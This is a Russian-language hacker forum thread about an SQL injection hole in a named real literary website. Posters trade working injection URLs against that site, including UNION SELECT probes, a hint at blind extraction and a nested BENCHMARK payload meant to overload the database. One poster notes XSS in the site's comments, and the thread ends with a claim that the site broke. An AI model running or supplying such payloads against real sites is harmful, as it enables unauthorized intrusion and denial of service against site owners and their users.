sql-иньекция

[Дикс]

здрасти.
такое дело.
пхп я знаю, sql тоже, с БД работаю каждый день.

нашёл такой вот косяк:
http://litprom.ru/text.phtml?storycode=23511'
что я вообще могу с этого поиметь?
дайте хоть подсказку, опытные хацкеры :)
не хочу там ничего уронить, просто добиться хоть чего-то, для осознания собственной значимости гыгы

[159932]

http://litprom.ru/text.phtml?storycode=23511+union+select+1/*
только вывода я добится не смог (( но попытатся можно ..
иль просто вслепую, через ascii ..

[Ershik]

Подстава это :-D
http://litprom.ru/text.phtml?storycode=-1+union+select+1/*

[BlackSun]

И еще в каментах xss

[-=Static=-]

_http://litprom.ru/text.phtml?storycode=-23511'

:D Смешная ссылочка))))

[xXvladXx]

а я с начала не поверил...
http://litprom.ru/text.phtml?storycode=5+union+select+benchmark(9999 99999,benchmark(999999999,md5(now())))/*

[xXvladXx]

блин он кажись сломался:(((